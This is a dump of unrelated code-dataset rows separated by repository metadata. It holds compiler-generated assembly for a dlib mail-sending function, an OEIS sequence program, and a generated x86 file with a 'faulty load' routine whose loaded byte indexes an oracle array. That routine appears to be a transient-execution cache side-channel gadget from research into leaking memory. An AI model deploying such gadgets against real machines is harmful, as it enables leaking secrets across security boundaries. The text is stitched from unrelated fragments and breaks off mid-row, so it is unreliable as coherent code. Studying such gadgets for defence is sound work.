call ?error@log@helper@@YAXPBD0JV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z ; helper::log::error
add esp, 40 ; 00000028H
; Line 134
mov DWORD PTR __$EHRec$[ebp+12], 2
mov eax, __tryend$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$2
ret 0
$LN10@sendMail:
mov DWORD PTR __$EHRec$[ebp+12], 2
__tryend$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$2:
; Line 136
mov BYTE PTR $T369524[ebp], 1
mov BYTE PTR __$EHRec$[ebp+12], 1
lea ecx, DWORD PTR _to$[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 0
lea ecx, DWORD PTR _subject$[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov DWORD PTR __$EHRec$[ebp+12], -1
lea ecx, DWORD PTR _msg$[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov al, BYTE PTR $T369524[ebp]
$LN8@sendMail:
; Line 137
mov ecx, DWORD PTR __$EHRec$[ebp+4]
mov DWORD PTR fs:0, ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, DWORD PTR __$ArrayPad$[ebp]
xor ecx, ebp
call @__security_check_cookie@4
mov esp, ebp
pop ebp
ret 0
_TEXT ENDS
; COMDAT text$x
text$x SEGMENT
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$3:
lea ecx, DWORD PTR _msg$[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$4:
lea ecx, DWORD PTR _subject$[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$5:
lea ecx, DWORD PTR _to$[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$6:
lea ecx, DWORD PTR $T151619[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$7:
lea ecx, DWORD PTR _config$151618[ebp]
jmp ??1?$config_reader_kernel_1@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@dlib@@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@2@Vtokenizer_kernel_1@2@@dlib@@UAE@XZ ; dlib::config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>::~config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$8:
lea ecx, DWORD PTR _tmpStr$151622[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$9:
lea ecx, DWORD PTR $T151625[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$10:
lea ecx, DWORD PTR $T151624[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$11:
lea ecx, DWORD PTR _smtp_address$151623[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$12:
lea ecx, DWORD PTR $T151634[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$13:
lea ecx, DWORD PTR $T151633[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$14:
lea ecx, DWORD PTR _con$151653[ebp]
jmp ??1?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QAE@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::~scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$15:
lea ecx, DWORD PTR $T151656[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$18:
lea ecx, DWORD PTR $T151669[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$20:
lea ecx, DWORD PTR $T151674[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$21:
lea ecx, DWORD PTR $T151675[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$23:
lea ecx, DWORD PTR $T151685[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$25:
lea ecx, DWORD PTR $T151690[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$26:
lea ecx, DWORD PTR $T151691[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$27:
lea ecx, DWORD PTR $T151697[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$29:
lea ecx, DWORD PTR $T151706[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$31:
lea ecx, DWORD PTR $T151711[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$32:
lea ecx, DWORD PTR $T151712[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$33:
lea ecx, DWORD PTR $T151715[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$34:
lea ecx, DWORD PTR $T151716[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$35:
lea ecx, DWORD PTR $T151719[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$36:
lea ecx, DWORD PTR $T151720[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$37:
lea ecx, DWORD PTR $T151724[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$38:
lea ecx, DWORD PTR $T151730[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$40:
lea ecx, DWORD PTR $T151739[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__ehhandler$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z:
mov edx, DWORD PTR [esp+8]
lea eax, DWORD PTR [edx+12]
mov ecx, DWORD PTR [edx-1420]
xor ecx, eax
call @__security_check_cookie@4
mov ecx, DWORD PTR [edx-8]
xor ecx, eax
call @__security_check_cookie@4
mov eax, OFFSET __ehfuncinfo$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z
jmp ___CxxFrameHandler3
text$x ENDS
?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z ENDP ; mail::sendMail
; Function compile flags: /Odtp
; COMDAT ??__Esa@dlib@@YAXXZ
text$yc SEGMENT
$T374864 = -1 ; size = 1
??__Esa@dlib@@YAXXZ PROC ; dlib::`dynamic initializer for 'sa'', COMDAT
; File e:\library\dlib\dlib\string\string.h
; Line 488
push ebp
mov ebp, esp
push ecx
xor eax, eax
mov BYTE PTR $T374864[ebp], al
mov esp, ebp
pop ebp
ret 0
??__Esa@dlib@@YAXXZ ENDP ; dlib::`dynamic initializer for 'sa''
_sa DB 01H DUP (?)
_sa$initializer$ DD FLAT:??__Esa@dlib@@YAXXZ
END
| 73.47348 | 2,714 | 0.730513 |
9706b9a59ea4e9c05db8793d11648cc1a5a258a8 | 6,555 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_1184.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_1184.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_1184.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x88dd, %r11
nop
nop
nop
inc %r12
movw $0x6162, (%r11)
sub %rcx, %rcx
lea addresses_WT_ht+0x5a5d, %rsi
lea addresses_UC_ht+0x1499d, %rdi
nop
nop
add %rbx, %rbx
mov $0, %rcx
rep movsw
nop
nop
nop
add $5498, %rcx
lea addresses_normal_ht+0xfdd, %rcx
nop
nop
sub $64098, %rsi
mov $0x6162636465666768, %rbx
movq %rbx, %xmm5
vmovups %ymm5, (%rcx)
nop
nop
nop
nop
nop
xor %r10, %r10
lea addresses_normal_ht+0x8087, %rsi
lea addresses_A_ht+0x1499d, %rdi
nop
nop
nop
add $36057, %rdx
mov $57, %rcx
rep movsq
cmp %rcx, %rcx
lea addresses_UC_ht+0x1779d, %r11
nop
nop
nop
xor $13987, %rdi
mov $0x6162636465666768, %rdx
movq %rdx, %xmm1
vmovups %ymm1, (%r11)
nop
and $38126, %r10
lea addresses_WC_ht+0x479d, %rsi
lea addresses_A_ht+0x1349d, %rdi
nop
nop
nop
nop
dec %rbx
mov $115, %rcx
rep movsq
nop
inc %r10
lea addresses_A_ht+0x1ac1d, %rsi
lea addresses_normal_ht+0x184ad, %rdi
nop
nop
cmp $12838, %r10
mov $72, %rcx
rep movsl
nop
nop
dec %r12
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r15
push %rax
push %rbx
push %rdx
push %rsi
// Store
lea addresses_WC+0x1f81d, %r15
nop
nop
add $53711, %rsi
movw $0x5152, (%r15)
nop
nop
nop
nop
sub $15136, %rsi
// Load
mov $0xd9d, %rsi
clflush (%rsi)
nop
nop
nop
nop
nop
add $58787, %rdx
vmovups (%rsi), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $1, %xmm3, %r15
nop
nop
nop
and $27364, %rax
// Load
lea addresses_UC+0xcd9d, %rbx
xor $38721, %rax
mov (%rbx), %r10w
nop
nop
add %rdx, %rdx
// Faulty Load
lea addresses_normal+0xe99d, %rsi
nop
nop
xor %r10, %r10
movb (%rsi), %dl
lea oracles, %rax
and $0xff, %rdx
shlq $12, %rdx
mov (%rax,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rbx
pop %rax
pop %r15
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 8, 'NT': True, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WC'}}
{'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_P'}, 'OP': 'LOAD'}
{'src': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 9, 'same': True, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 7, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 37.244318 | 2,999 | 0.659344 |
21e0407a9003455e3fe5d02e3b426bb039b3c843 | 644 | asm | Assembly | oeis/075/A075870.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/075/A075870.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/075/A075870.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A075870: Numbers k such that 2*k^2 - 4 is a square.
; 2,10,58,338,1970,11482,66922,390050,2273378,13250218,77227930,450117362,2623476242,15290740090,89120964298,519435045698,3027489309890,17645500813642,102845515571962,599427592618130,3493720040136818,20362892648202778,118683635849079850,691738922446276322,4031749898828578082,23498760470525192170,136960812924322574938,798266117075410257458,4652635889528138969810,27117549220093423561402,158052659431032402398602,921198407366100990830210,5369137784765573542582658,31293628301227340264665738
mov $1,2
mov $2,1
lpb $0
sub $0,1
add $1,$2
add $2,$1
add $2,$1
add $1,$2
lpe
mov $0,$1
| 46 | 490 | 0.835404 |
afc192cfcc1cc4f3fc40b76730c62cf5f1b7ded9 | 144 | asm | Assembly | other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver0/sfc/ys_w64.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver0/sfc/ys_w64.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver0/sfc/ys_w64.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | Name: ys_w64.asm
Type: file
Size: 22163
Last-Modified: '2016-05-13T04:50:38Z'
SHA-1: 5A3A00130CC3446808BF436D1E56424BC1E91049
Description: null
| 20.571429 | 47 | 0.8125 |
698fdbb2df32002151b024a7007b403c09713d68 | 5,956 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2.log_217_114.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
